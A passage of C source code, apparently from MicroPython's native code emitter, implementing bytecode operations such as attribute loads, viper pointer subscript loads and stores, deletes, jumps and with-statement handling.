function, pointer to integers: error\n    //  - pointer to structure: get member, quite easy\n    //  - Python object: call mp_load_attr, and needs to be typed to convert result\n    vtype_kind_t vtype_base;\n    emit_pre_pop_reg(emit, &vtype_base, REG_ARG_1); // arg1 = base\n    assert(vtype_base == VTYPE_PYOBJ);\n    emit_call_with_imm_arg(emit, MP_F_LOAD_ATTR, qst, REG_ARG_2); // arg2 = attribute name\n    emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET);\n}\n\nSTATIC void emit_native_load_method(emit_t *emit, qstr qst, bool is_super) {\n    if (is_super) {\n        emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_2, 3); // arg2 = dest ptr\n        emit_get_stack_pointer_to_reg_for_push(emit, REG_ARG_2, 2); // arg2 = dest ptr\n        emit_call_with_imm_arg(emit, MP_F_LOAD_SUPER_METHOD, qst, REG_ARG_1); // arg1 = method name\n    } else {\n        vtype_kind_t vtype_base;\n        emit_pre_pop_reg(emit, &vtype_base, REG_ARG_1); // arg1 = base\n        assert(vtype_base == VTYPE_PYOBJ);\n        emit_get_stack_pointer_to_reg_for_push(emit, REG_ARG_3, 2); // arg3 = dest ptr\n        emit_call_with_imm_arg(emit, MP_F_LOAD_METHOD, qst, REG_ARG_2); // arg2 = method name\n    }\n}\n\nSTATIC void emit_native_load_build_class(emit_t *emit) {\n    emit_native_pre(emit);\n    emit_call(emit, MP_F_LOAD_BUILD_CLASS);\n    emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET);\n}\n\nSTATIC void emit_native_load_subscr(emit_t *emit) {\n    DEBUG_printf(\"load_subscr\\n\");\n    // need to compile: base[index]\n\n    // pop: index, base\n    // optimise case where index is an immediate\n    vtype_kind_t vtype_base = peek_vtype(emit, 1);\n\n    if (vtype_base == VTYPE_PYOBJ) {\n        // standard Python subscr\n        // TODO factor this implicit cast code with other uses of it\n        vtype_kind_t vtype_index = peek_vtype(emit, 0);\n        if (vtype_index == VTYPE_PYOBJ) {\n            emit_pre_pop_reg(emit, &vtype_index, REG_ARG_2);\n        } else {\n            emit_pre_pop_reg(emit, &vtype_index, REG_ARG_1);\n            emit_call_with_imm_arg(emit, MP_F_CONVERT_NATIVE_TO_OBJ, vtype_index, REG_ARG_2); // arg2 = type\n            ASM_MOV_REG_REG(emit->as, REG_ARG_2, REG_RET);\n        }\n        emit_pre_pop_reg(emit, &vtype_base, REG_ARG_1);\n        emit_call_with_imm_arg(emit, MP_F_OBJ_SUBSCR, (mp_uint_t)MP_OBJ_SENTINEL, REG_ARG_3);\n        emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET);\n    } else {\n        // viper load\n        // TODO The different machine architectures have very different\n        // capabilities and requirements for loads, so probably best to\n        // write a completely separate load-optimiser for each one.\n        stack_info_t *top = peek_stack(emit, 0);\n        if (top->vtype == VTYPE_INT && top->kind == STACK_IMM) {\n            // index is an immediate\n            mp_int_t index_value = top->data.u_imm;\n            emit_pre_pop_discard(emit); // discard index\n            int reg_base = REG_ARG_1;\n            int reg_index = REG_ARG_2;\n            emit_pre_pop_reg_flexible(emit, &vtype_base, &reg_base, reg_index, reg_index);\n            switch (vtype_base) {\n                case VTYPE_PTR8: {\n                    // pointer to 8-bit memory\n                    // TODO optimise to use thumb ldrb r1, [r2, r3]\n                    if (index_value != 0) {\n                        // index is non-zero\n                        #if N_THUMB\n                        if (index_value > 0 && index_value < 32) {\n                            asm_thumb_ldrb_rlo_rlo_i5(emit->as, REG_RET, reg_base, index_value);\n                            break;\n                        }\n                        #endif\n                        ASM_MOV_IMM_TO_REG(emit->as, index_value, reg_index);\n                        ASM_ADD_REG_REG(emit->as, reg_index, reg_base); // add index to base\n                        reg_base = reg_index;\n                    }\n                    ASM_LOAD8_REG_REG(emit->as, REG_RET, reg_base); // load from (base+index)\n                    break;\n                }\n                case VTYPE_PTR16: {\n                    // pointer to 16-bit memory\n                    if (index_value != 0) {\n                        // index is a non-zero immediate\n                        #if N_THUMB\n                        if (index_value > 0 && index_value < 32) {\n                            asm_thumb_ldrh_rlo_rlo_i5(emit->as, REG_RET, reg_base, index_value);\n                            break;\n                        }\n                        #endif\n                        ASM_MOV_IMM_TO_REG(emit->as, index_value << 1, reg_index);\n                        ASM_ADD_REG_REG(emit->as, reg_index, reg_base); // add 2*index to base\n                        reg_base = reg_index;\n                    }\n                    ASM_LOAD16_REG_REG(emit->as, REG_RET, reg_base); // load from (base+2*index)\n                    break;\n                }\n                case VTYPE_PTR32: {\n                    // pointer to 32-bit memory\n                    if (index_value != 0) {\n                        // index is a non-zero immediate\n                        #if N_THUMB\n                        if (index_value > 0 && index_value < 32) {\n                            asm_thumb_ldr_rlo_rlo_i5(emit->as, REG_RET, reg_base, index_value);\n                            break;\n                        }\n                        #endif\n                        ASM_MOV_IMM_TO_REG(emit->as, index_value << 2, reg_index);\n                        ASM_ADD_REG_REG(emit->as, reg_index, reg_base); // add 4*index to base\n                        reg_base = reg_index;\n                    }\n                    ASM_LOAD32_REG_REG(emit->as, REG_RET, reg_base); // load from (base+4*index)\n                    break;\n                }\n                default:\n                    EMIT_NATIVE_VIPER_TYPE_ERROR(emit,\n                        \"can't load from '%q'\", vtype_to_qstr(vtype_base));\n            }\n        } else {\n            // index is not an immediate\n            vtype_kind_t vtype_index;\n            int reg_index = REG_ARG_2;\n            emit_pre_pop_reg_flexible(emit, &vtype_index, &reg_index, REG_ARG_1, REG_ARG_1);\n            emit_pre_pop_reg(emit, &vtype_base, REG_ARG_1);\n            if (vtype_index != VTYPE_INT && vtype_index != VTYPE_UINT) {\n                EMIT_NATIVE_VIPER_TYPE_ERROR(emit,\n                    \"can't load with '%q' index\", vtype_to_qstr(vtype_index));\n            }\n            switch (vtype_base) {\n                case VTYPE_PTR8: {\n                    // pointer to 8-bit memory\n                    // TODO optimise to use thumb ldrb r1, [r2, r3]\n                    ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base\n                    ASM_LOAD8_REG_REG(emit->as, REG_RET, REG_ARG_1); // store value to (base+index)\n                    break;\n                }\n                case VTYPE_PTR16: {\n                    // pointer to 16-bit memory\n                    ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base\n                    ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base\n                    ASM_LOAD16_REG_REG(emit->as, REG_RET, REG_ARG_1); // load from (base+2*index)\n                    break;\n                }\n                case VTYPE_PTR32: {\n                    // pointer to word-size memory\n                    ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base\n                    ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base\n                    ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base\n                    ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base\n                    ASM_LOAD32_REG_REG(emit->as, REG_RET, REG_ARG_1); // load from (base+4*index)\n                    break;\n                }\n                default:\n                    EMIT_NATIVE_VIPER_TYPE_ERROR(emit,\n                        \"can't load from '%q'\", vtype_to_qstr(vtype_base));\n            }\n        }\n        emit_post_push_reg(emit, VTYPE_INT, REG_RET);\n    }\n}\n\nSTATIC void emit_native_store_fast(emit_t *emit, qstr qst, mp_uint_t local_num) {\n    vtype_kind_t vtype;\n    if (local_num == 0) {\n        emit_pre_pop_reg(emit, &vtype, REG_LOCAL_1);\n    } else if (local_num == 1) {\n        emit_pre_pop_reg(emit, &vtype, REG_LOCAL_2);\n    } else if (local_num == 2) {\n        emit_pre_pop_reg(emit, &vtype, REG_LOCAL_3);\n    } else {\n        emit_pre_pop_reg(emit, &vtype, REG_TEMP0);\n        if (emit->do_viper_types) {\n            ASM_MOV_REG_TO_LOCAL(emit->as, REG_TEMP0, local_num - REG_LOCAL_NUM);\n        } else {\n            ASM_MOV_REG_TO_LOCAL(emit->as, REG_TEMP0, STATE_START + emit->n_state - 1 - local_num);\n        }\n    }\n    emit_post(emit);\n\n    // check types\n    if (emit->local_vtype[local_num] == VTYPE_UNBOUND) {\n        // first time this local is assigned, so give it a type of the object stored in it\n        emit->local_vtype[local_num] = vtype;\n    } else if (emit->local_vtype[local_num] != vtype) {\n        // type of local is not the same as object stored in it\n        EMIT_NATIVE_VIPER_TYPE_ERROR(emit,\n            \"local '%q' has type '%q' but source is '%q'\",\n            qst, vtype_to_qstr(emit->local_vtype[local_num]), vtype_to_qstr(vtype));\n    }\n}\n\nSTATIC void emit_native_store_deref(emit_t *emit, qstr qst, mp_uint_t local_num) {\n    DEBUG_printf(\"store_deref(%s, \" UINT_FMT \")\\n\", qstr_str(qst), local_num);\n    need_reg_single(emit, REG_TEMP0, 0);\n    need_reg_single(emit, REG_TEMP1, 0);\n    emit_native_load_fast(emit, qst, local_num);\n    vtype_kind_t vtype;\n    int reg_base = REG_TEMP0;\n    emit_pre_pop_reg_flexible(emit, &vtype, &reg_base, -1, -1);\n    int reg_src = REG_TEMP1;\n    emit_pre_pop_reg_flexible(emit, &vtype, &reg_src, reg_base, reg_base);\n    ASM_STORE_REG_REG_OFFSET(emit->as, reg_src, reg_base, 1);\n    emit_post(emit);\n}\n\nSTATIC void emit_native_store_name(emit_t *emit, qstr qst) {\n    // mp_store_name, but needs conversion of object (maybe have mp_viper_store_name(obj, type))\n    vtype_kind_t vtype;\n    emit_pre_pop_reg(emit, &vtype, REG_ARG_2);\n    assert(vtype == VTYPE_PYOBJ);\n    emit_call_with_imm_arg(emit, MP_F_STORE_NAME, qst, REG_ARG_1); // arg1 = name\n    emit_post(emit);\n}\n\nSTATIC void emit_native_store_global(emit_t *emit, qstr qst) {\n    vtype_kind_t vtype = peek_vtype(emit, 0);\n    if (vtype == VTYPE_PYOBJ) {\n        emit_pre_pop_reg(emit, &vtype, REG_ARG_2);\n    } else {\n        emit_pre_pop_reg(emit, &vtype, REG_ARG_1);\n        emit_call_with_imm_arg(emit, MP_F_CONVERT_NATIVE_TO_OBJ, vtype, REG_ARG_2); // arg2 = type\n        ASM_MOV_REG_REG(emit->as, REG_ARG_2, REG_RET);\n    }\n    emit_call_with_imm_arg(emit, MP_F_STORE_GLOBAL, qst, REG_ARG_1); // arg1 = name\n    emit_post(emit);\n}\n\nSTATIC void emit_native_store_attr(emit_t *emit, qstr qst) {\n    vtype_kind_t vtype_base, vtype_val;\n    emit_pre_pop_reg_reg(emit, &vtype_base, REG_ARG_1, &vtype_val, REG_ARG_3); // arg1 = base, arg3 = value\n    assert(vtype_base == VTYPE_PYOBJ);\n    assert(vtype_val == VTYPE_PYOBJ);\n    emit_call_with_imm_arg(emit, MP_F_STORE_ATTR, qst, REG_ARG_2); // arg2 = attribute name\n    emit_post(emit);\n}\n\nSTATIC void emit_native_store_subscr(emit_t *emit) {\n    DEBUG_printf(\"store_subscr\\n\");\n    // need to compile: base[index] = value\n\n    // pop: index, base, value\n    // optimise case where index is an immediate\n    vtype_kind_t vtype_base = peek_vtype(emit, 1);\n\n    if (vtype_base == VTYPE_PYOBJ) {\n        // standard Python subscr\n        vtype_kind_t vtype_index = peek_vtype(emit, 0);\n        vtype_kind_t vtype_value = peek_vtype(emit, 2);\n        if (vtype_index != VTYPE_PYOBJ || vtype_value != VTYPE_PYOBJ) {\n            // need to implicitly convert non-objects to objects\n            // TODO do this properly\n            emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_1, 3);\n            adjust_stack(emit, 3);\n        }\n        emit_pre_pop_reg_reg_reg(emit, &vtype_index, REG_ARG_2, &vtype_base, REG_ARG_1, &vtype_value, REG_ARG_3);\n        emit_call(emit, MP_F_OBJ_SUBSCR);\n    } else {\n        // viper store\n        // TODO The different machine architectures have very different\n        // capabilities and requirements for stores, so probably best to\n        // write a completely separate store-optimiser for each one.\n        stack_info_t *top = peek_stack(emit, 0);\n        if (top->vtype == VTYPE_INT && top->kind == STACK_IMM) {\n            // index is an immediate\n            mp_int_t index_value = top->data.u_imm;\n            emit_pre_pop_discard(emit); // discard index\n            vtype_kind_t vtype_value;\n            int reg_base = REG_ARG_1;\n            int reg_index = REG_ARG_2;\n            int reg_value = REG_ARG_3;\n            emit_pre_pop_reg_flexible(emit, &vtype_base, &reg_base, reg_index, reg_value);\n            #if N_X86\n            // special case: x86 needs byte stores to be from lower 4 regs (REG_ARG_3 is EDX)\n            emit_pre_pop_reg(emit, &vtype_value, reg_value);\n            #else\n            emit_pre_pop_reg_flexible(emit, &vtype_value, &reg_value, reg_base, reg_index);\n            #endif\n            if (vtype_value != VTYPE_BOOL && vtype_value != VTYPE_INT && vtype_value != VTYPE_UINT) {\n                EMIT_NATIVE_VIPER_TYPE_ERROR(emit,\n                    \"can't store '%q'\", vtype_to_qstr(vtype_value));\n            }\n            switch (vtype_base) {\n                case VTYPE_PTR8: {\n                    // pointer to 8-bit memory\n                    // TODO optimise to use thumb strb r1, [r2, r3]\n                    if (index_value != 0) {\n                        // index is non-zero\n                        #if N_THUMB\n                        if (index_value > 0 && index_value < 32) {\n                            asm_thumb_strb_rlo_rlo_i5(emit->as, reg_value, reg_base, index_value);\n                            break;\n                        }\n                        #endif\n                        ASM_MOV_IMM_TO_REG(emit->as, index_value, reg_index);\n                        #if N_ARM\n                        asm_arm_strb_reg_reg_reg(emit->as, reg_value, reg_base, reg_index);\n                        return;\n                        #endif\n                        ASM_ADD_REG_REG(emit->as, reg_index, reg_base); // add index to base\n                        reg_base = reg_index;\n                    }\n                    ASM_STORE8_REG_REG(emit->as, reg_value, reg_base); // store value to (base+index)\n                    break;\n                }\n                case VTYPE_PTR16: {\n                    // pointer to 16-bit memory\n                    if (index_value != 0) {\n                        // index is a non-zero immediate\n                        #if N_THUMB\n                        if (index_value > 0 && index_value < 32) {\n                            asm_thumb_strh_rlo_rlo_i5(emit->as, reg_value, reg_base, index_value);\n                            break;\n                        }\n                        #endif\n                        ASM_MOV_IMM_TO_REG(emit->as, index_value << 1, reg_index);\n                        #if N_ARM\n                        asm_arm_strh_reg_reg_reg(emit->as, reg_value, reg_base, reg_index);\n                        return;\n                        #endif\n                        ASM_ADD_REG_REG(emit->as, reg_index, reg_base); // add 2*index to base\n                        reg_base = reg_index;\n                    }\n                    ASM_STORE16_REG_REG(emit->as, reg_value, reg_base); // store value to (base+2*index)\n                    break;\n                }\n                case VTYPE_PTR32: {\n                    // pointer to 32-bit memory\n                    if (index_value != 0) {\n                        // index is a non-zero immediate\n                        #if N_THUMB\n                        if (index_value > 0 && index_value < 32) {\n                            asm_thumb_str_rlo_rlo_i5(emit->as, reg_value, reg_base, index_value);\n                            break;\n                        }\n                        #endif\n                        ASM_MOV_IMM_TO_REG(emit->as, index_value << 2, reg_index);\n                        #if N_ARM\n                        asm_arm_str_reg_reg_reg(emit->as, reg_value, reg_base, reg_index);\n                        return;\n                        #endif\n                        ASM_ADD_REG_REG(emit->as, reg_index, reg_base); // add 4*index to base\n                        reg_base = reg_index;\n                    }\n                    ASM_STORE32_REG_REG(emit->as, reg_value, reg_base); // store value to (base+4*index)\n                    break;\n                }\n                default:\n                    EMIT_NATIVE_VIPER_TYPE_ERROR(emit,\n                        \"can't store to '%q'\", vtype_to_qstr(vtype_base));\n            }\n        } else {\n            // index is not an immediate\n            vtype_kind_t vtype_index, vtype_value;\n            int reg_index = REG_ARG_2;\n            int reg_value = REG_ARG_3;\n            emit_pre_pop_reg_flexible(emit, &vtype_index, &reg_index, REG_ARG_1, reg_value);\n            emit_pre_pop_reg(emit, &vtype_base, REG_ARG_1);\n            if (vtype_index != VTYPE_INT && vtype_index != VTYPE_UINT) {\n                EMIT_NATIVE_VIPER_TYPE_ERROR(emit,\n                    \"can't store with '%q' index\", vtype_to_qstr(vtype_index));\n            }\n            #if N_X86\n            // special case: x86 needs byte stores to be from lower 4 regs (REG_ARG_3 is EDX)\n            emit_pre_pop_reg(emit, &vtype_value, reg_value);\n            #else\n            emit_pre_pop_reg_flexible(emit, &vtype_value, &reg_value, REG_ARG_1, reg_index);\n            #endif\n            if (vtype_value != VTYPE_BOOL && vtype_value != VTYPE_INT && vtype_value != VTYPE_UINT) {\n                EMIT_NATIVE_VIPER_TYPE_ERROR(emit,\n                    \"can't store '%q'\", vtype_to_qstr(vtype_value));\n            }\n            switch (vtype_base) {\n                case VTYPE_PTR8: {\n                    // pointer to 8-bit memory\n                    // TODO optimise to use thumb strb r1, [r2, r3]\n                    #if N_ARM\n                    asm_arm_strb_reg_reg_reg(emit->as, reg_value, REG_ARG_1, reg_index);\n                    break;\n                    #endif\n                    ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base\n                    ASM_STORE8_REG_REG(emit->as, reg_value, REG_ARG_1); // store value to (base+index)\n                    break;\n                }\n                case VTYPE_PTR16: {\n                    // pointer to 16-bit memory\n                    #if N_ARM\n                    asm_arm_strh_reg_reg_reg(emit->as, reg_value, REG_ARG_1, reg_index);\n                    break;\n                    #endif\n                    ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base\n                    ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base\n                    ASM_STORE16_REG_REG(emit->as, reg_value, REG_ARG_1); // store value to (base+2*index)\n                    break;\n                }\n                case VTYPE_PTR32: {\n                    // pointer to 32-bit memory\n                    #if N_ARM\n                    asm_arm_str_reg_reg_reg(emit->as, reg_value, REG_ARG_1, reg_index);\n                    break;\n                    #endif\n                    ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base\n                    ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base\n                    ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base\n                    ASM_ADD_REG_REG(emit->as, REG_ARG_1, reg_index); // add index to base\n                    ASM_STORE32_REG_REG(emit->as, reg_value, REG_ARG_1); // store value to (base+4*index)\n                    break;\n                }\n                default:\n                    EMIT_NATIVE_VIPER_TYPE_ERROR(emit,\n                        \"can't store to '%q'\", vtype_to_qstr(vtype_base));\n            }\n        }\n\n    }\n}\n\nSTATIC void emit_native_delete_fast(emit_t *emit, qstr qst, mp_uint_t local_num) {\n    // TODO: This is not compliant implementation. We could use MP_OBJ_SENTINEL\n    // to mark deleted vars but then every var would need to be checked on\n    // each access. Very inefficient, so just set value to None to enable GC.\n    emit_native_load_const_tok(emit, MP_TOKEN_KW_NONE);\n    emit_native_store_fast(emit, qst, local_num);\n}\n\nSTATIC void emit_native_delete_deref(emit_t *emit, qstr qst, mp_uint_t local_num) {\n    // TODO implement me!\n    (void)emit;\n    (void)qst;\n    (void)local_num;\n}\n\nSTATIC void emit_native_delete_name(emit_t *emit, qstr qst) {\n    emit_native_pre(emit);\n    emit_call_with_imm_arg(emit, MP_F_DELETE_NAME, qst, REG_ARG_1);\n    emit_post(emit);\n}\n\nSTATIC void emit_native_delete_global(emit_t *emit, qstr qst) {\n    emit_native_pre(emit);\n    emit_call_with_imm_arg(emit, MP_F_DELETE_GLOBAL, qst, REG_ARG_1);\n    emit_post(emit);\n}\n\nSTATIC void emit_native_delete_attr(emit_t *emit, qstr qst) {\n    vtype_kind_t vtype_base;\n    emit_pre_pop_reg(emit, &vtype_base, REG_ARG_1); // arg1 = base\n    assert(vtype_base == VTYPE_PYOBJ);\n    emit_call_with_2_imm_args(emit, MP_F_STORE_ATTR, qst, REG_ARG_2, (mp_uint_t)MP_OBJ_NULL, REG_ARG_3); // arg2 = attribute name, arg3 = value (null for delete)\n    emit_post(emit);\n}\n\nSTATIC void emit_native_delete_subscr(emit_t *emit) {\n    vtype_kind_t vtype_index, vtype_base;\n    emit_pre_pop_reg_reg(emit, &vtype_index, REG_ARG_2, &vtype_base, REG_ARG_1); // index, base\n    assert(vtype_index == VTYPE_PYOBJ);\n    assert(vtype_base == VTYPE_PYOBJ);\n    emit_call_with_imm_arg(emit, MP_F_OBJ_SUBSCR, (mp_uint_t)MP_OBJ_NULL, REG_ARG_3);\n}\n\nSTATIC void emit_native_dup_top(emit_t *emit) {\n    DEBUG_printf(\"dup_top\\n\");\n    vtype_kind_t vtype;\n    int reg = REG_TEMP0;\n    emit_pre_pop_reg_flexible(emit, &vtype, &reg, -1, -1);\n    emit_post_push_reg_reg(emit, vtype, reg, vtype, reg);\n}\n\nSTATIC void emit_native_dup_top_two(emit_t *emit) {\n    vtype_kind_t vtype0, vtype1;\n    emit_pre_pop_reg_reg(emit, &vtype0, REG_TEMP0, &vtype1, REG_TEMP1);\n    emit_post_push_reg_reg_reg_reg(emit, vtype1, REG_TEMP1, vtype0, REG_TEMP0, vtype1, REG_TEMP1, vtype0, REG_TEMP0);\n}\n\nSTATIC void emit_native_pop_top(emit_t *emit) {\n    DEBUG_printf(\"pop_top\\n\");\n    emit_pre_pop_discard(emit);\n    emit_post(emit);\n}\n\nSTATIC void emit_native_rot_two(emit_t *emit) {\n    DEBUG_printf(\"rot_two\\n\");\n    vtype_kind_t vtype0, vtype1;\n    emit_pre_pop_reg_reg(emit, &vtype0, REG_TEMP0, &vtype1, REG_TEMP1);\n    emit_post_push_reg_reg(emit, vtype0, REG_TEMP0, vtype1, REG_TEMP1);\n}\n\nSTATIC void emit_native_rot_three(emit_t *emit) {\n    DEBUG_printf(\"rot_three\\n\");\n    vtype_kind_t vtype0, vtype1, vtype2;\n    emit_pre_pop_reg_reg_reg(emit, &vtype0, REG_TEMP0, &vtype1, REG_TEMP1, &vtype2, REG_TEMP2);\n    emit_post_push_reg_reg_reg(emit, vtype0, REG_TEMP0, vtype2, REG_TEMP2, vtype1, REG_TEMP1);\n}\n\nSTATIC void emit_native_jump(emit_t *emit, mp_uint_t label) {\n    DEBUG_printf(\"jump(label=\" UINT_FMT \")\\n\", label);\n    emit_native_pre(emit);\n    // need to commit stack because we are jumping elsewhere\n    need_stack_settled(emit);\n    ASM_JUMP(emit->as, label);\n    emit_post(emit);\n}\n\nSTATIC void emit_native_jump_helper(emit_t *emit, bool pop) {\n    vtype_kind_t vtype = peek_vtype(emit, 0);\n    if (vtype == VTYPE_PYOBJ) {\n        emit_pre_pop_reg(emit, &vtype, REG_ARG_1);\n        if (!pop) {\n            adjust_stack(emit, 1);\n        }\n        emit_call(emit, MP_F_OBJ_IS_TRUE);\n    } else {\n        emit_pre_pop_reg(emit, &vtype, REG_RET);\n        if (!pop) {\n            adjust_stack(emit, 1);\n        }\n        if (!(vtype == VTYPE_BOOL || vtype == VTYPE_INT || vtype == VTYPE_UINT)) {\n            EMIT_NATIVE_VIPER_TYPE_ERROR(emit,\n                \"can't implicitly convert '%q' to 'bool'\", vtype_to_qstr(vtype));\n        }\n    }\n    // For non-pop need to save the vtype so that emit_native_adjust_stack_size\n    // can use it.  This is a bit of a hack.\n    if (!pop) {\n        emit->saved_stack_vtype = vtype;\n    }\n    // need to commit stack because we may jump elsewhere\n    need_stack_settled(emit);\n}\n\nSTATIC void emit_native_pop_jump_if(emit_t *emit, bool cond, mp_uint_t label) {\n    DEBUG_printf(\"pop_jump_if(cond=%u, label=\" UINT_FMT \")\\n\", cond, label);\n    emit_native_jump_helper(emit, true);\n    if (cond) {\n        ASM_JUMP_IF_REG_NONZERO(emit->as, REG_RET, label);\n    } else {\n        ASM_JUMP_IF_REG_ZERO(emit->as, REG_RET, label);\n    }\n    emit_post(emit);\n}\n\nSTATIC void emit_native_jump_if_or_pop(emit_t *emit, bool cond, mp_uint_t label) {\n    DEBUG_printf(\"jump_if_or_pop(cond=%u, label=\" UINT_FMT \")\\n\", cond, label);\n    emit_native_jump_helper(emit, false);\n    if (cond) {\n        ASM_JUMP_IF_REG_NONZERO(emit->as, REG_RET, label);\n    } else {\n        ASM_JUMP_IF_REG_ZERO(emit->as, REG_RET, label);\n    }\n    adjust_stack(emit, -1);\n    emit_post(emit);\n}\n\nSTATIC void emit_native_break_loop(emit_t *emit, mp_uint_t label, mp_uint_t except_depth) {\n    (void)except_depth;\n    emit_native_jump(emit, label & ~MP_EMIT_BREAK_FROM_FOR); // TODO properly\n}\n\nSTATIC void emit_native_continue_loop(emit_t *emit, mp_uint_t label, mp_uint_t except_depth) {\n    (void)except_depth;\n    emit_native_jump(emit, label); // TODO properly\n}\n\nSTATIC void emit_native_setup_with(emit_t *emit, mp_uint_t label) {\n    // the context manager is on the top of the stack\n    // stack: (..., ctx_mgr)\n\n    // get __exit__ method\n    vtype_kind_t vtype;\n    emit_access_stack(emit, 1, &vtype, REG_ARG_1); // arg1 = ctx_mgr\n    assert(vtype == VTYPE_PYOBJ);\n    emit_get_stack_pointer_to_reg_for_push(emit, REG_ARG_3, 2); // arg3 = dest ptr\n    emit_call_with_imm_arg(emit, MP_F_LOAD_METHOD, MP_QSTR___exit__, REG_ARG_2);\n    // stack: (..., ctx_mgr, __exit__, self)\n\n    emit_pre_pop_reg(emit, &vtype, REG_ARG_3); // self\n    emit_pre_pop_reg(emit, &vtype, REG_ARG_2); // __exit__\n    emit_pre_pop_reg(emit, &vtype, REG_ARG_1); // ctx_mgr\n    emit_post_push_reg(emit, vtype, REG_ARG_2); // __exit__\n    emit_post_push_reg(emit, vtype, REG_ARG_3); // self\n    // stack: (..., __exit__, self)\n    // REG_ARG_1=ctx_mgr\n\n    // get __enter__ method\n    emit_get_stack_pointer_to_reg_for_push(emit, REG_ARG_3, 2); // arg3 = dest ptr\n    emit_call_with_imm_arg(emit, MP_F_LOAD_METHOD, MP_QSTR___enter__, REG_ARG_2); // arg2 = method name\n    // stack: (..., __exit__, self, __enter__, self)\n\n    // call __enter__ method\n    emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_3, 2); // pointer to items, including meth and self\n    emit_call_with_2_imm_args(emit, MP_F_CALL_METHOD_N_KW, 0, REG_ARG_1, 0, REG_ARG_2);\n    emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); // push return value of __enter__\n    // stack: (..., __exit__, self, as_value)\n\n    // need to commit stack because we may jump elsewhere\n    need_stack_settled(emit);\n    emit_get_stack_pointer_to_reg_for_push(emit, REG_ARG_1, sizeof(nlr_buf_t) / sizeof(mp_uint_t)); // arg1 = pointer to nlr buf\n    emit_call(emit, MP_F_NLR_PUSH);\n    ASM_JUMP_IF_REG_NONZERO(emit->as, REG_RET, label);\n\n    emit_access_stack(emit, sizeof(nlr_buf_t) / sizeof(mp_uint_t) + 1, &vtype, REG_RET); // access return value of __enter__\n    emit_post_push_reg(emit, VTYPE_PYOBJ, REG_RET); // push return value of __enter__\n    // stack: (..., __exit__, self, as_value, nlr_buf, as_value)\n}\n\nSTATIC void emit_native_with_cleanup(emit_t *emit, mp_uint_t label) {\n    // note: label+1 is available as an auxiliary label\n\n    // stack: (..., __exit__, self, as_value, nlr_buf)\n    emit_native_pre(emit);\n    emit_call(emit, MP_F_NLR_POP);\n    adjust_stack(emit, -(mp_int_t)(sizeof(nlr_buf_t) / sizeof(mp_uint_t)) - 1);\n    // stack: (..., __exit__, self)\n\n    // call __exit__\n    emit_post_push_imm(emit, VTYPE_PYOBJ, (mp_uint_t)mp_const_none);\n    emit_post_push_imm(emit, VTYPE_PYOBJ, (mp_uint_t)mp_const_none);\n    emit_post_push_imm(emit, VTYPE_PYOBJ, (mp_uint_t)mp_const_none);\n    emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_3, 5);\n    emit_call_with_2_imm_args(emit, MP_F_CALL_METHOD_N_KW, 3, REG_ARG_1, 0, REG_ARG_2);\n\n    // jump to after with cleanup nlr_catch block\n    adjust_stack(emit, 1); // dummy nlr_buf.prev\n    emit_native_load_const_tok(emit, MP_TOKEN_KW_NONE); // nlr_buf.ret_val = no exception\n    emit_native_jump(emit, label + 1);\n\n    // nlr_catch\n    emit_native_label_assign(emit, label);\n\n    // adjust stack counter for: __exit__, self, as_value\n    adjust_stack(emit, 3);\n    // stack: (..., __exit__, self, as_value, nlr_buf.prev, nlr_buf.ret_val)\n\n    vtype_kind_t vtype;\n    emit_pre_pop_reg(emit, &vtype, REG_ARG_1); // get the thrown value (exc)\n    adjust_stack(emit, -2); // discard nlr_buf.prev and as_value\n    // stack: (..., __exit__, self)\n    // REG_ARG_1=exc\n\n    emit_pre_pop_reg(emit, &vtype, REG_ARG_2); // self\n    emit_pre_pop_reg(emit, &vtype, REG_ARG_3); // __exit__\n    adjust_stack(emit, 1); // dummy nlr_buf.prev\n    emit_post_push_reg(emit, vtype, REG_ARG_1); // push exc to save it for later\n    emit_post_push_reg(emit, vtype, REG_ARG_3); // __exit__\n    emit_post_push_reg(emit, vtype, REG_ARG_2); // self\n    // stack: (..., exc, __exit__, self)\n    // REG_ARG_1=exc\n\n    ASM_LOAD_REG_REG_OFFSET(emit->as, REG_ARG_2, REG_ARG_1, 0); // get type(exc)\n    emit_post_push_reg(emit, VTYPE_PYOBJ, REG_ARG_2); // push type(exc)\n    emit_post_push_reg(emit, VTYPE_PYOBJ, REG_ARG_1); // push exc value\n    emit_post_push_imm(emit, VTYPE_PYOBJ, (mp_uint_t)mp_const_none); // traceback info\n    // stack: (..., exc, __exit__, self, type(exc), exc, traceback)\n\n    // call __exit__ method\n    emit_get_stack_pointer_to_reg_for_pop(emit, REG_ARG_3, 5);\n    emit_call_with_2_imm_args(emit, MP_F_CALL_METHOD_N_KW, 3, REG_ARG_1, 0, REG_ARG_2);\n    // stack: (..., exc)\n\n    // if REG_RET is true then we need to replace top-of-stack with None (swallow exception)\n    if (REG_ARG_1 != REG_RET) {\n        ASM_MOV_REG_REG(emit->as, REG_ARG_1, REG_RET);\n    }\n    emit_call(emit, MP_F_OBJ_IS_TRUE);\n    ASM_JUMP_IF_REG_ZERO(emit->as, REG_RET, label + 1);\n\n    // replace exc with None\n    emit_pre_pop_discard(emit);\n    emit_post_push_imm(emit, VTYPE_PYOBJ, (mp_uint_t)mp_const_none);\n\n    // end of with cleanup nlr_catch block\n    emit_native_label_assign(emit, label + 